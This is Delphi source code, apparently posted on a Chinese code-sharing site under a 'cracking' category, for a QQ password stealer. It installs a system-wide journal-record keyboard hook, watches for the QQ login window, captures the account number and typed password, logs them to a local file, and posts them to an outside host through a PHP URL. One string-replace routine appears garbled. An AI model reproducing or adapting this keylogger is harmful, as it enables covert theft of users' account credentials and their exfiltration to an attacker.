盗QQ.txt
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:9k
源码类别:

破解

开发平台:

Delphi

  1. //上兴收集
  2. program Project2;
  3. uses
  4.   Windows,
  5.   Messages,
  6.   SysUtils,
  7.   shellapi,
  8.   WinInet,
  9.   Registry;
  10. var
  11.   hhook:integer;
  12.   hooktime:integer;
  13.   qqnum,qqpwdstr:string;
  14.   time1:integer;
  15.   s:string;
  16. procedure PostURL(const aUrl: string; FTPostQuery: string);
  17. var
  18.   hSession: HINTERNET;
  19.   hConnect, hRequest: hInternet;
  20.   lpBuffer: array[0..1024 + 1] of Char;
  21.   dwBytesRead: DWORD;
  22.   HttpStr:String;
  23.   HostName, FileName: String;
  24.   FTResult: Boolean;
  25.   AcceptType: LPStr;
  26.   Buf: Pointer;
  27.   dwBufLen, dwIndex: DWord;
  28.     // 字符串转小写
  29.   function LowerCase(const Source: string): string;
  30.   var
  31.     TempChar: Char;
  32.     StrLen: Integer;
  33.     PSource,
  34.     PDest: PChar;
  35.   begin
  36.     StrLen := Length(Source);
  37.     SetLength(Result, StrLen);
  38.     PSource := @Source[1];
  39.     PDest := @Result[1];
  40.     while (StrLen > 0) do
  41.     begin
  42.       TempChar := PSource^;
  43.       if (TempChar >= 'A') and (TempChar <= 'Z') then Inc(TempChar, 32);
  44.       PDest^ := TempChar;
  45.       Inc(PSource);
  46.       Inc(PDest);
  47.       Dec(StrLen);
  48.     end;
  49.   end;
  50.   procedure ParseURL(URL: String; var HostName, FileName: String);
  51.     procedure ReplaceChar(c1, c2: Char; var St: String);
  52.     var
  53.       p: Integer;
  54.     begin
  55.       while True do
  56.        begin
  57.         p := Pos(c1, St);
  58.         if p = 0 then Break
  59.         else St
  60. := c2;
  61.        end;
  62.     end;
  63.   var
  64.     i: Integer;
  65.   begin
  66.     if Pos(LowerCase('http://'), LowerCase(URL)) <> 0 then
  67.       System.Delete(URL, 1, 7);
  68.     i := Pos('/', URL);
  69.     HostName := Copy(URL, 1, i);
  70.     FileName := Copy(URL, i, Length(URL) - i + 1);
  71.     if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
  72.       SetLength(HostName, Length(HostName) - 1);
  73.   end;
  74. begin
  75.   hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  76.   try
  77.     if Assigned(hSession) then
  78.     begin
  79.       ParseURL(aUrl, HostName, FileName);
  80.       hConnect := InternetConnect(hSession, PChar(HostName),
  81.       INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
  82.       AcceptType := PChar('Accept: */*');
  83.       hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
  84.                 nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
  85.                                                //
  86.       HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
  87.                      PChar(FTPostQuery), Length(FTPostQuery));
  88.       dwIndex  := 0;
  89.       dwBufLen := 1024;
  90.       GetMem(Buf, dwBufLen);
  91.       FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
  92.                               Buf, dwBufLen, dwIndex);
  93.       if FTResult=True then
  94.         try
  95.           while True do
  96.           begin
  97.             dwBytesRead := 1024;
  98.             InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
  99.             if dwBytesRead = 0 then break;
  100.             lpBuffer[dwBytesRead] := #0;
  101.             HttpStr:=HttpStr+lpBuffer;
  102.           end;
  103.         finally
  104.           InternetCloseHandle(hRequest);
  105.           InternetCloseHandle(hConnect);
  106.         end;
  107.     end;
  108.   finally
  109.     InternetCloseHandle(hSession);
  110.   end;
  111. end;
  112. //以上发信过程
  113. procedure jilu(s:string);
  114. var
  115. mytextfile:textfile;
  116. begin
  117. assignfile(mytextfile,'c:qq.txt');
  118. append(mytextfile);
  119. writeln(mytextfile,datetimetostr(now)+'  '+s);
  120. closefile(mytextfile);
  121. end;
  122. function keyresult(lp:integer;wp:integer):string;
  123. begin
  124.   result := '[Print Screen]';
  125.   case lp of
  126.     10688: result := '`';
  127.     561: Result := '1';
  128.     818: result := '2';
  129.     1075: result := '3';
  130.     1332: result := '4';
  131.     1589: result := '5';
  132.     1846: result := '6';
  133.     2103: result := '7';
  134.     2360: result := '8';
  135.     2617: result := '9';
  136.     2864: result := '0';
  137.     3261: result := '-';
  138.     3515: result := '=';
  139.     4177: result := 'Q';
  140.     4439: result := 'W';
  141.     4677: result := 'E';
  142.     4946: result := 'R';
  143.     5204: result := 'T';
  144.     5465: result := 'Y';
  145.     5717: result := 'U';
  146.     5961: result := 'I';
  147.     6223: result := 'O';
  148.     6480: result := 'P';
  149.     6875: result := '[';
  150.     7133: result := ']';
  151.     11228: result := '';
  152.     7745: result := 'A';
  153.     8019: result := 'S';
  154.     8260: result := 'D';
  155.     8518: result := 'F';
  156.     8775: result := 'G';
  157.     9032: result := 'H';
  158.     9290: result := 'J';
  159.     9547: result := 'K';
  160.     9804: result := 'L';
  161.     10170: result := ';';
  162.     10462: result := '''';
  163.     11354: result := 'Z';
  164.     11608: result := 'X';
  165.     11843: result := 'C';
  166.     12118: result := 'V';
  167.     12354: result := 'B';
  168.     12622: result := 'N';
  169.     12877: result := 'M';
  170.     13244: result := ',';
  171.     13502: result := '.';
  172.     13759: result := '/';
  173.     13840: result := '[Right-Shift]';
  174.     14624: result := '[Space]';
  175.     283: result := '[Esc]';
  176.     15216: result := '[F1]';
  177.     15473: result := '[F2]';
  178.     15730: result := '[F3]';
  179.     15987: result := '[F4]';
  180.     16244: result := '[F5]';
  181.     16501: result := '[F6]';
  182.     16758: result := '[F7]';
  183.     17015: result := '[F8]';
  184.     17272: result := '[F9]';
  185.     17529: result := '[F10]';
  186.     22394: result := '[F11]';
  187.     22651: result := '[F12]';
  188.     10768: Result := '[Left-Shift]';
  189.     14868: result := '[CapsLock]';
  190.     3592: result := '[Backspace]';
  191.     3849: result := '[Tab]';
  192.     7441:
  193.       if wp > 30000 then
  194.         result := '[Right-Ctrl]'
  195.       else
  196.         result := '[Left-Ctrl]';
  197.     13679: result := '[Num /]';
  198.     17808: result := '[NumLock]';
  199.     300: result := '[Print Screen]';
  200.     18065: result := '[Scroll Lock]';
  201.     17683: result := '[Pause]';
  202.     21088: result := '[Num0]';
  203.     21358: result := '[Num.]';
  204.     20321: result := '[Num1]';
  205.     20578: result := '[Num2]';
  206.     20835: result := '[Num3]';
  207.     19300: result := '[Num4]';
  208.     19557: result := '[Num5]';
  209.     19814: result := '[Num6]';
  210.     18279: result := '[Num7]';
  211.     18536: result := '[Num8]';
  212.     18793: result := '[Num9]';
  213.     19468: result := '[*5*]';
  214.     14186: result := '[Num *]';
  215.     19053: result := '[Num -]';
  216.     20075: result := '[Num +]';
  217.     21037: result := '[Insert]';
  218.     21294: result := '[Delete]';
  219.     18212: result := '[Home]';
  220.     20259: result := '[End]';
  221.     18721: result := '[PageUp]';
  222.     20770: result := '[PageDown]';
  223.     18470: result := '[UP]';
  224.     20520: result := '[DOWN]';
  225.     19237: result := '[LEFT]';
  226.     19751: result := '[RIGHT]';
  227.     7181: result := '[Enter]';
  228.   end;
  229. end;
  230. procedure unhook;
  231. begin
  232. unhookwindowshookex(hhook);
  233. hhook:=0;
  234. hooktime:=0;
  235. end;
  236. function GetCaption(hWnd: LongWord): string;
  237. var
  238.   szWindowText: array[0..MAX_PATH] of Char;
  239.   szTextLength: Integer;
  240. begin
  241.   szTextLength := SendMessage(hWnd, WM_GETTEXT, MAX_PATH, Integer(@szWindowText[0]));
  242.   szWindowText[szTextLength] := #0;
  243.   Result := szWindowText;
  244. end;
  245. function findqqwindow:integer;
  246. var
  247. h1,h2,h3:Hwnd;
  248. begin
  249.  h1:=0;
  250.  h2:=0;
  251.  h3:=0;
  252. //h1:=findwindowex(GetForegroundWindow,0,'#32770',nil);
  253.  //h1:=findwindowex(GetActiveWindow,0,'#32770',nil);
  254. //if h1<>0 then
  255. h1:=findwindow('#32770',nil);
  256. if h1=getforegroundwindow then
  257.  begin
  258.  h2:=findwindowex(h1,0,nil,'QQ号码:');
  259.  h3:=findwindowex(h1,0,nil,'QQ密码:');
  260. if (h2<>0) and (h3<>0) then
  261.   result:=0
  262.   else
  263.   result:=1;
  264. end;
  265. end;
  266. function getqqnum:string;
  267. var
  268. qqnumstr:string;
  269. h1,h2,h3:Thandle;
  270. begin
  271. result:='';
  272. h1:=getdlgitem(GetActiveWindow,$0000008A);
  273. h2:=findwindowex(h1,0,'Edit',nil);
  274. qqnumstr:=getcaption(h2);
  275. if qqnumstr<>'' then
  276. result:=qqnumstr;
  277. end;
  278. function getqqpwdwindow(var h:Hwnd):boolean;
  279. var
  280. qqpwdstr:string;
  281. h1,h2:Thandle;
  282. begin
  283. result:=false;
  284. h1:=getdlgitem(GetActiveWindow,$0000008A);
  285. h2:=getdlgitem(GetActiveWindow,$000000B4);
  286. if (h2<>0) and (getfocus=h2) then
  287. result:=true;
  288. end;
  289. function hookproc(icode:integer;wparam:WPARAM;lparam:LPARAM):Lresult;stdcall;
  290. begin
  291. if(Peventmsg(lparam)^.message=WM_KEYDOWN) then
  292.  begin
  293.   if findqqwindow=0 then
  294.   begin
  295. if getqqpwdwindow(Peventmsg(lparam)^.hwnd) then
  296.    begin
  297. qqnum:=getqqnum;
  298. qqpwdstr:=qqpwdstr+keyresult(Peventmsg(lparam)^.paramL,Peventmsg(lparam)^.paramH);
  299. if (qqnum<>'') and (qqpwdstr<>'') then
  300.     begin
  301. s:='QQ号码:'+qqnum+'   ''QQ密码:'+qqpwdstr;
  302. time1:=1;
  303. //ShellExecute(0,'open',pchar(s),nil,nil,SW_hide);
  304.     end;
  305.    end;
  306.   end
  307.   else if time1=1 then
  308.    begin
  309.     jilu(s);
  310. s:='http://99h121.51.net/qq.php?'+s;
  311. //winexec(pchar(s),sw_hide);
  312. //ShellExecute(0,nil,pchar('regedit.exe'),nil,nil,sw_normal);
  313. posturl(s,s);
  314. time1:=0;
  315. qqpwdstr:='';
  316. end;
  317.  end;
  318. result:=callnexthookex(hhook,icode,wparam,lparam);
  319. end;
  320. procedure winmain();
  321. var
  322. f:textfile;
  323. msg:Tmsg;
  324. begin
  325.  time1:=0;
  326. hooktime:=0;
  327. hhook:=0;
  328.  inc(hooktime);
  329.  if hooktime=1 then
  330. hhook:=setwindowshookex(WH_JOURNALRECORD,hookproc,Hinstance,0);
  331.  assignfile(f,'c:qq.txt');
  332.  if not fileexists('c:qq.txt') then
  333.     begin
  334.     rewrite(f);
  335.     closefile(f);
  336.     end;
  337.     while GetMessage(Msg, 0, 0, 0) do DispatchMessage(Msg);  
  338.   unhook;
  339. end;
  340. begin
  341.   winmain;
  342. end.